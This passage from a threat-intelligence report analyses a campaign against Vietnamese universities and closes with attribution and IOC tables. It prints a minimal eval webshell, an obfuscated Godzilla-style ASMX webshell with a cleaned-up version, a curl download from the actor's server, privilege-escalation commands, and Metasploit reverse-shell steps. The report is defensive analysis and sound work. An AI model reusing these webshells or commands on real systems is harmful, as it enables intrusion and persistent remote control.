Encoding.UTF8.GetString(Convert.FromBase64String(text));\n//[...REDACTED...]\n\nWe can see some interesting Base64 encoded text that when decoded is set to the variable @string . We can see\n\nthis has the below contents:\n\n\u003c%@ Page Language=\"Jscript\"%\u003e\u003c%Response.Write(eval(Request.Item[\"z111\"],\"unsafe\"));%\u003e\n\nThe above is a extremely minimal webshell, it takes a HTTP parameter z111 , then passes it to the eval()\n\nfunction - allowing direct JScript execution on the web server.\n\nWe can see in order to execute the JScript/.aspx, the code creates a virtual path /\u003ccurrent-dir\u003e/fakepath31337 :\n\nstring text5 = \"/\u003ccurrent-directory\u003e/fakepath31337/\";\n\nWith this text5 variable initialized, the function HostingEnvironment.RegisterVirtualPathProvider() is\n\ncalled to provide the file content and file path. This won’t be written to disk, it’ll be ran dynamically in memory.\n\nvar samplePathProvider = new SamplePathProvider(text5, fileContent);\n//[...REDACTED..]\nHostingEnvironment.RegisterVirtualPathProvider(samplePathProvider);\n\nFinally, with some other stuff going on under the hood, the virtual .aspx file in memory is ran using:\n\nHttpContext.Current.Server.Execute(\n \"/\u003ccurrent_directory\u003e/ghostfile\" + new Random().Next(1000) + \".aspx\"\n);\n\nASP.NET asks the registered VPP for that path → GetFile() returns the in-memory webshell → ASP.NET\n\ncompiles/runs it → the webshell’s eval(Request.Item[“z111”], “unsafe”) fires.\n\nWe can find referencing to this Chinese security research blog, which details “Hiding ASP.NET Webshell Using\n\nVirtual Files”. Specifically, we can see the GhostWebShell is being leveraged.\n\n3.asmx#\n\nAdditionally to the above backdoor, the adversary leveraged additional staged, memory-native .NET webshells.\n\nStage 1#\n\nPage 30 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\ncurl -o D:\\WWW\\Web\\test11.asmx hXXp://103.215.77[.]214:8080/3.asmx\n\nWe can download this file locally (or from our open-directory dump), and take a look at theweb source code:\n\n\u003c%@ WebService LanGuagE=\"C#\" Class=\"gov8ODo\" %\u003e\n\npublic class gov8ODo : \\u0053\\u0079\\u0073\\u0074\\u0065\\u006D.Web.\\u0053\\u0065\\u0072\\u0076\\u0069\\u0063\\u0065\\u0073\n\n{\n\n[\\u0053\\u0079\\u0073\\u0074\\u0065\\u006D.Web./*nt0hdn1eP*/\\u0053\\u0065\\u0072\\u0076\\u0069\\u0063\\u0065\\u0073\n\npublic string /*ARZVtAKEnn6W47Y*/Tas9er(string Tas9er)\n\n{\n\n\\u0053\\u0079\\u0073\\u0074\\u0065\\u006D.Text./*PtE*/\\u0053\\u0074\\u0072\\u0069\\u006E\\u0067\\u0042\\u0075\\u0069\\u0\n\ntry {\n\n//[...REDACTED...]\n\nbyte[] govT4 = govEUs8S4QpyCUGZh8./*L*/ToArray();\n\ngovDM3X1CGnw7WMF.\\U00000041\\U00000070\\U00000070\\U00000065\\U0000006E\\U00000064(govkyA6AxNqptARra8.\\u0053\\u0\n\ngovDM3X1CGnw7WMF.\\U00000041\\U00000070\\U00000070\\U00000065\\U0000006E\\U00000064/*XPXKW*/(\\u0053\\u0079\\u0073\\\n\ngovDM3X1CGnw7WMF.\\U00000041\\U00000070\\U00000070\\U00000065\\U0000006E\\U00000064(govkyA6AxNqptARra8.\\u0053\\u0\n\ncatch (\\u0053\\u0079\\u0073\\u0074\\u0065\\u006D/*g*/.Exception) { }\n\nreturn govDM3X1CGnw7WMF.ToString();\n\n}\n\n}\n\nWe can see the above file is obfsucated, using both standard C# ( \\uXXXX ) and extended unicode formats\n\n( \\UXXXXXXXX ). With some CyberChef magic we can decode to plaintext C#:\n\n\u003c % @ WebService LanGuagE = \"C#\"\n\nClass = \"gov8ODo\" % \u003e public class gov8ODo: System.Web.Services.WebService {\n\n[System.Web.Services.WebMethod(Enable = true)] public string Tas9er(string Tas9er) {\n\nSystem.Text.StringBuilder govDM3X1CGnw7WMF = new System.Text.StringBuilder();\n\ntry {\n\nstring govJMnD6AwT = System.Text.ASCII.ASCII.GetString(System..(System.Text.ASCII.ASCII.GetString(System..\n\nstring govFvK = \"93a1d11603dcec67\";\n\nstring govkyA6AxNqptARra8 = System.BitConverter.ToString(new System.Security.Cryptography.().ComputeHash(S\n\nbyte[] gov8BJZI = System..(System.Web.HttpUtility.UrlDecode(Tas9er));\n\ngov8BJZI = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text..Default.(govFvK\n\nif (Context.[\"payload\"] == null) {\n\nContext.[\"payload\"] = (System..Assembly) typeof (System..Assembly).GetMethod(\"Load\", new System.Type[] {\n\ntypeof (byte[])\n\n}).Invoke(null, new object[] {\n\ngov8BJZI\n\n});;\n\n} else {\n\nobject govoT9N8SlgiAoBum8 = ((System..Assembly) Context.[\"payload\"]).CreateInstance(\"LY\");\n\nSystem.IO.MemoryStream govEUs8S4QpyCUGZh8 = new System.IO.MemoryStream();\n\nPage 31 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\ngovoT9N8SlgiAoBum8.(Context);\n\ngovoT9N8SlgiAoBum8.(govEUs8S4QpyCUGZh8);\n\ngovoT9N8SlgiAoBum8.(gov8BJZI);\n\ngovoT9N8SlgiAoBum8.ToString();\n\nbyte[] govT4 = govEUs8S4QpyCUGZh8.ToArray();\n\ngovDM3X1CGnw7WMF.(govkyA6AxNqptARra8.Substring(0, 16));\n\ngovDM3X1CGnw7WMF.(System..ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryp\n\ngovDM3X1CGnw7WMF.(govkyA6AxNqptARra8.Substring(16));\n\n}\n\n} catch (System.Exception) {}\n\nreturn govDM3X1CGnw7WMF.ToString();\n\n}\n\n}\n\nWe can see reference to the webshell ByPassGodzilla , developed by Tas9er . This adversary has heavily\n\nleveraged Tas9er tools during intrusions. It is fairly simple to re-name some of these variables to make this code\n\nunderstandable:\n\n//[REDACTED]\n\npublic class GovService : WebService\n\n{\n\n[WebMethod(EnableSession = true)]\n\npublic string Tas9er(string inputParam)\n\n{\n\nStringBuilder responseBuilder = new StringBuilder();\n\ntry\n\n{\n\nstring paramName = \"Tas9er\";\n\nstring aesKeyIv = \"93a1d11603dcec67\";\n\nstring md5Hex = BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.Ge\n\nbyte[] decryptedInput = Convert.FromBase64String(HttpUtility.UrlDecode(inputParam));\n\ndecryptedInput = new RijndaelManaged().CreateDecryptor(Encoding.Default.GetBytes(aesKeyIv), Encoding\n\nif (Context.Session[\"payload\"] == null)\n\n{\n\nContext.Session[\"payload\"] = (Assembly)typeof(Assembly).GetMethod(\"Load\", new Type[] { typeof(by\n\n}\n\nelse\n\n{\n\nobject lyInstance = ((Assembly)Context.Session[\"payload\"]).CreateInstance(\"LY\");\n\nMemoryStream memoryStream = new MemoryStream();\n\nlyInstance.Equals(Context);\n\nlyInstance.Equals(memoryStream);\n\nlyInstance.Equals(decryptedInput);\n\nlyInstance.ToString();\n\nbyte[] resultBytes = memoryStream.ToArray();\n\nresponseBuilder.Append(md5Hex.Substring(0, 16));\n\nPage 32 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nresponseBuilder.Append(Convert.ToBase64String(new RijndaelManaged().CreateEncryptor(Encoding.Def\n responseBuilder.Append(md5Hex.Substring(16));\n }\n }\n catch (Exception) { }\n return responseBuilder.ToString();\n }\n}\n\nRequests are sent to this web-shell via an ASMX web service - hxxp://victm.edu.vn/3.asmx/Tas9er?\n\ninputParam=\u003cbase64_ciphertext\u003e\n\nThe first request sends AES-encrypted bytes ( key/IV = \"93a1d11603dcec67\" ) which get decrypted and\n\nloaded directly into memory as a .NET assembly ( Assembly.Load ).\n\nOn later requests, the webshell creates an instance of the class LY inside that in-memory assembly and\n\ndrives it by calling .Equals(...) with the HttpContext , a MemoryStream , and the decrypted input data.\n\nWhatever bytes the implant writes to the MemoryStream are AES-encrypted again and returned, wrapped\n\nwith an MD5 prefix and suffix derived from Tas9er93a1d11603dcec67 .\n\nChinese Red Team Tooling\n\nDuring the intrusion, the threat actor heavily leveraged Chinese developed, or modified, red team tooling or\n\nplugins. I hadn’t seen any of these used in the wild. We were able to recover evidence the threat actor had\n\ndelivered the below tools to vicitm machines:\n\n1) TransitEXE.exe\n\nplugin, written in Chinese.\n\n2) C:\\ProgramData\\FFICreateAdminUser.exe\n\naccount. This tool was developed a Chinese developer Tas9er , which we see multiple times.\n\nWe can see this is a reference to the CreateService Cobalt Strike plugin for persistence. This is an open-source\n\nThis binary was used as for persistence and priviledge escalation, in order to create a new Administrator user\n\n3) 3.asmx\n\nThis web-shell was, once again, developed by Chinese developer Tas9er as ByPassGodzilla.\n\n4) sharpcmd.exe\n\nproxy execution of malicious payloads:\n\nsharpcmd.exe \"CoercedPotato -c whoami\"\nsharpcmd.exe \"CVE-2023-36802.x64.exe\"\n\nLooking at the Cobalt Strike activity logs, we can ascertain the .NET payload sharpcmd.exe was being used to\n\nPage 33 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nsharpcmd.exe \"An-Clear.bat\"\nsharcmd.exe \"JuicyPotatoNG -t * -l 1337 -c {} -p whoami\"\n\nReferencing the Chinese blogs CDSN and CN-SEC, we can see:\n\nTranslated: “Another tested approach: use a C# command execution tool sharpcmd.exe to run Cobalt\n\nStrike stagers once the beacon is live, and then leverage the PostExpKit plugin for privilege escalation.”\n\nTranslated: “A team member tested an alternative: once a Cobalt Strike beacon is live, use the C#\n\ncommand runner sharpcmd.exe to execute the payload, followed by the PostExpKit plugin to escalate\n\nprivileges.”\n\nRMMs\n\nWe recovered evidence that suggests the threat actor leveraged RMMs for additional persistence in\n\nvictim environments. Analysis of these will be detailed in a follow up blog.\n\nInitial Access Theory\n\nOur investigation into the collected data, including Metasploit and sqlmap logs, revealed evidence of\n\nsuccessful exploitation across multiple targets. While we cannot confirm that every victim was compromised via\n\nthe same method, the majority of the data indicates that adversaries primarily gained initial access through\n\nexternally exposed web applications. Specifically, the deployment of web shells, predominantly on IIS servers,\n\nand the creation of a new user account, “IIS_USER,” were consistent patterns. We are confident that the adversary\n\nleveraged known CVEs and novel SQL injection vulnerabilities within these web applications to establish their\n\nfoothold.\n\nSQLMap#\n\nWe can see the adversary used the penetration testing tool, SQLMap , to successfully identify novel SQL injection\n\nvulnerabilties in target websitesv:\n\nhttp://www.\u003cREDACTED\u003e.edu.vn:80/\u003cREDACTED\u003e/login.php (POST) # sqlmap.py -r 1.txt --random-agent --level=5 --ri\n\nusername=admin*\u0026password=aaaaaaa\n\nweb application technology: Apache, PHP 7.2.34\nback-end DBMS: MySQL \u003e= 5.6\nDatabase: \u003cREDACTED\u003e\nTable: users\n[1 entry]\n+----+-------------+----------+\n| id | password | username |\n+----+-------------+----------+\n\nPage 34 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\n| 1 | \u003cREDACTED\u003e | admin |\n+----+-------------+----------+\n\norder to get a reverse-shell on multiple victims:\n\nuse exploit/windows/http/telerik_rau_deserialization\nshow options\nset RHOSTS https://\u003cREDACTED\u003e.edu.vn\nset lhost 103.215.77[.]214\nrun\nset lport 8989\nrun\nuse exploit/multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset lhost 103.215.77[.]214\nset lport 4444\nrun\n\nAdditionally, we observed the threat actor exploit Insecure Deserialization in Telerik UI (CVE-2019-18935) in\n\nAttribution\n\nBased on the evidence recovered from the exposed open-directory and subsequent analysis of the tooling,\n\ninfrastructure, and victimology, we believe that this campaign is linked to a China based threat actor.\n\nVictimology: The campaign is highly targeted against Vietnamese universities and educational institutions,\n\nwith at least 25 unique organizations compromised. This aligns with long-standing Chinese strategic\n\nintelligence priorities in Southeast Asia, particularly around academia and technology research.\n\nInfrastructure and OPSEC failures: Cobalt Striked passed C2 via Cloudflare although VShell was direct to\n\nthe C2 server. Open-directory leaks revealed the operators’ own IP addresses, all resolving to Chinese ISPs,\n\nincluding a test beacon registered from 27.150.114[.]115 .\n\nLanguage and cultural indicators: The .bash_history log shows installation of the Simplified Chinese\n\nlanguage pack, and configuration files such as CatServer.Properties contained Chinese comments and\n\nreferences (e.g., WeChat mini-program integration for 2FA notifications).\n\nThe tactics, techniques, and procedures (TTPs) we observed in this campaign show some similarities to those\n\ndocumented by Trend Micro in their public reporting on Earth Lamia. Specifically, both operations leveraged:\n\nUsing sqlmap to identify novel SQL injection vulnerabilties\n\nExploiting known CVEs in target web applications\n\nUsing certutil.exe to download additional payloads\n\nDeployment of Cobalt Strike and VShell\n\nDeploying multiple Chinese webshells for persistence\n\nLeverage POC privilege escalations exploits like GodPotato or JuicyPotato\n\nPage 35 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nLeveraging custom Chinese tooling fscan for network discovery\n\nDiscovery of DCs using nltest.exe and net.exe\n\nUsing open-source Chinese-proxy tooling from Github\n\nUsing scheduled tasks for backdoor persistence\n\nExploiting novel SQL injection vulnerabilities in target web severs\n\nConclusion#\n\nThese threat actors desperately wanted long-term persistent access to victim Vietnemse unniversities. The\n\nattackers built themselves a whole safety net of persistence mechnaisms; RDP tunnels, scheduled tasks, multiple\n\nC2s, and layers of webshells all stitched into 25 victim networks within 2 months and 7 days*. This shows a level\n\nof determination and sophistication that we typically do not observe with finanically motivated actors, like\n\nransomware or extortion groups.\n\nintelligence.\n\nIOCs#\n\nIndicator\n\n103[.]215[.]77[.]214\n\n122[.]10[.]198[.]X\n\n38[.]181[.]79[.]15\n\n103[.]56[.]52[.]142\n\n103[.]56[.]52[.]61\n\n27[.]219[.]79[.]226\n\n39[.]85[.]164[.]6\n\nIf you’ve read this far, you’re clearly interested in the activities of this adversary. If you have additional\n\ninformation to share, or if you’d like further details about our research, please feel free to reach out to\n\ncompromising real hosts from 10/06/2025 04:10 to 17/08/2025 13:01.\n\nType\n\nIPv4\n\nIP\n\npattern\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nus at contact [@] ctrlaltintel [.] com . We welcome collaboration and the exchange of threat\n\nAlthough the Cobalt Strike timeline goes back just over 4 months, the actor was only operating and started\n\nContext\n\nCobalt Strike teamserver and FRP server; primary\n\nexposed operator host.\n\nRedacted IP in the linked IPs.txt list; not an exact host\n\nindicator.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nPage 36 of 41\n\nIndicator\n\n27[.]210[.]226[.]254\n\n221[.]2[.]22[.]145\n\n156[.]59[.]13[.]38\n\n27[.]150[.]112[.]38\n\n123[.]132[.]37[.]188\n\n119[.]165[.]225[.]129\n\n27[.]210[.]0[.]131\n\n27[.]199[.]77[.]113\n\n27[.]150[.]113[.]183\n\n27[.]150[.]113[.]1\n\nmicrosoft-symantec[.]art\n\nmicrosoft-defend[.]club\n\nmicrcs[.]microsoft-defend[.]club\n\n0659f21cb8422c830af696a947eeff6c\n\n0aa8a3cd0ac247d5eeca2661e88f71b7\n\n0b2e3a199df127abba4e1f468d674cbe\n\nType\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nIPv4\n\nDomain\n\nDomain\n\nDomain\n\nMD5\n\nMD5\n\nMD5\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nContext\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nImported from the linked IPs.txt list; individual role not\n\nspecified in that list.\n\nVShell listener and SNOWLIGHT payload staging on\n\nport 8848.\n\nParent domain of the reported Cobalt Strike C2.\n\nCobalt Strike C2 domain configured in CDN.profile;\n\nproxied through Cloudflare.\n\nImported from the linked hashes.txt list; individual role\n\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\n\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\n\nnot specified in that list.\n\nPage 37 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nIndicator\n\n0d4ee255c91405a9f270c94862ea1361\n\n131e9c99a7be59afb2f8763e07963c69\n\n140a0f81a7b1e76efa914dd688edc5e5\n\n1415c48ad7d8848191b0cd7a122a7cfb\n\n1643a53dc2a0117e0a66612bb3f341fe\n\n2058842e1799195a2f3c9971e4dea24e\n\n298f5096cda09151bd6b10ab605f0e7c\n\n29efd64dd3c7fe1e2b022b7ad73a1ba5\n\n3388b033f6a92e22f47f094b3c38df4f\n\n351a765b352730fe5b66baaef6410cbd\n\n38ecb8e7ff4a034618082b3bb6116f90\n\n3fed1004befb9834b699a88ccdce757e\n\n40b96d9df310d5f448c0908c3231ff4e\n\n4facb81f57e515a508040270849bcd35\n\n5982a720a2f0834e5d04ea4ad49900dd\n\nType Context\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nPage 38 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nIndicator\n\n5c106ea9a277b8489be3059750c3f6ec\n\n5d882e918248790794a07cabe72cf2b1\n\n61cd12c70e9b6125a8d8b5784bdefc4b\n\n64aa88125366a1787919b5ec61befa1d\n\n650be782605daa164ad7d1f971ef76a3\n\n698d51a19d8a121ce581499d7b701668\n\n69f40aa49b4ac18700c3499f167bd845\n\n6ba0dbcd2db8f44243799c891dbd2a59\n\n6fe223ce568d919f80bea233738d0628\n\n723d364d402760641ec172e27e9b6a56\n\n75341ae79be66b2e09d578fcd6fa8441\n\n78b1fa873aabd54c1d73e2f7cd664a31\n\n7d372351d7629ab7bf694812d03674c5\n\n809f3a686c379e3567db71585b169d4d\n\n875cd28cf7b4fa7abd0d4e079a13bf26\n\nType Context\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nPage 39 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nIndicator\n\n895d4e39649399d7e7010510ae17750b\n\n8bc54a3ae402e1c3e158010169e97c38\n\n9b0e4652a0317e6e4da66f29a74b5ad7\n\n9e0e6f3e82a1a09228987ef496b5b9f3\n\na11a1d761d757d367146f0f772632d8c\n\na28ab9f7acdf3ced769ee44f47828504\n\na39696e95a34a017be1435db7ff139d5\n\na65b99553494cd178c72b2bc7ae44554\n\nab59a40273401b69d019877be0190fce\n\nabcf9d28603eee7630ed93ef9f729888\n\nae3e7304122469f2de3ecbd920a768d1\n\nbb7326689f40a1190676770dd59a3ca9\n\nbed7058beeeefc3efeb8b408ec68e5fa\n\nc1b11a39ef693fa6bf1bb3282fafb640\n\nc82698395e6a30cad74c0bc0a6cd51af\n\nType Context\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nPage 40 of 41\n\nhttps://ctrlaltintel.com/research/china-vietnam-campaign/\n\nIndicator\n\ncbdc6e33deb4daac12bdce086165c8f1\n\nceff651b3a7cbb667799510fe1d5d2c3\n\nd41d8cd98f00b204e9800998ecf8427e\n\ne06aacd6139288d5bea4a676ee0c2404\n\nea5705041c355cc87c4aaedca6203840\n\neb80f7bddb699784baa9fbf2941eaf4a\n\nec76edde147207156f6de31f6ecc5bef\n\nf5de3ac3f12a2eee62a58d7ec77693dd\n\nf87afacff9c44b94db109e3e956a4b33\n\nf91cc2b904a778d77da1ca2f0772c1b1\n\nfc48ee15a4d16cee6cac9805cf8d0ec4\n\nfd6d0f45fab383257462a2b91fb7b169\n\nSNOWLIGHT samples\n\nHashes.txt\n\nIPs.txt\n\ndomains.txt\n\nType Context\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nImported from the linked hashes.txt list; individual role\nMD5\nnot specified in that list.\n\nSource: https://ctrlaltintel.com/research/china-vietnam-campaign/\n\nPage 41 of 41", "extraction_quality": 1, "language": "EN", "sources": [ "Malpedia" ], "origins": [ "web" ], "references": [ "https://ctrlaltintel.com/research/china-vietnam-campaign/" ], "report_names": [ "china-vietnam-campaign" ], "threat_actors": [ { "id": "2137e858-a11d-4b75-ae54-3267b096a4fc", "created_at": "2025-06-29T02:01:56.98797Z", "updated_at": "2026-10-20T02:00:11.089225Z", "deleted_at": null, "main_name": "Earth Lamia", "aliases": [], "source_name": "ETDA:Earth Lamia", "tools": [ "BypassBoss", "PULSEPACK" ], "source_id": "ETDA", "reports": null }, { "id": "b302cfdb-30c9-4dce-a968-d2398dda820d", "created_at": "2024-03-28T02:00:05.789775Z", "updated_at": "2026-10-20T02:00:19.644294Z", "deleted_at": null, "main_name": "UNC5174", "aliases": [ "Uteus" ], "source_name": "MISPGALAXY:UNC5174", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "0a167d0c-9da5-4883-9ba3-c17f442a6f0a", "created_at": "2026-09-17T02:00:03.935378Z", "updated_at": "2026-10-20T02:00:07.004702Z", "deleted_at": null, "main_name": "BRONZE SNOWDROP", "aliases": [ "UNC5174 " ], "source_name": "Secureworks:BRONZE SNOWDROP", "tools": [ "Metasploit", "SNOWLIGHT", "SUPERSHELL", "Sliver", "VShell" ], "source_id": "Secureworks", "reports": null }, { "id": "650a9c54-160c-4a25-8e96-e845f2dd6f82", "created_at": "2026-01-18T02:00:03.063535Z", "updated_at": "2026-10-20T02:00:22.120071Z", "deleted_at": null, "main_name": "Earth Lamia", "aliases": [ "UNC5454" ], "source_name": "MISPGALAXY:Earth Lamia", "tools": [], "source_id": "MISPGALAXY", "reports": null } ], "ts_created_at": 1791511377, "ts_updated_at": 1792487247, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/6e5b2513db746a0555102a8cd15561632167502d.pdf", "text": "https://archive.orkl.eu/6e5b2513db746a0555102a8cd15561632167502d.txt", "img": "https://archive.orkl.eu/6e5b2513db746a0555102a8cd15561632167502d.jpg" } }